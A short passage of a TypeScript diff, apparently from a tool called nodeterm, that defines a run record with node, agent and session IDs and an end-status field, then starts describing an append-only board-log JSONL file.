cumulative number for+ * a session, and a context-window reading is not one. */+ run?: {+ nodeId: string+ agentId?: string+ sessionId?: string+ end?: 'done' | 'working' | 'waiting' | 'blocked' | 'errored' | 'dropped' | 'unknown'+ }}/** One line of the append-only board history (`.nodeterm/board-log.jsonl`). A `comment`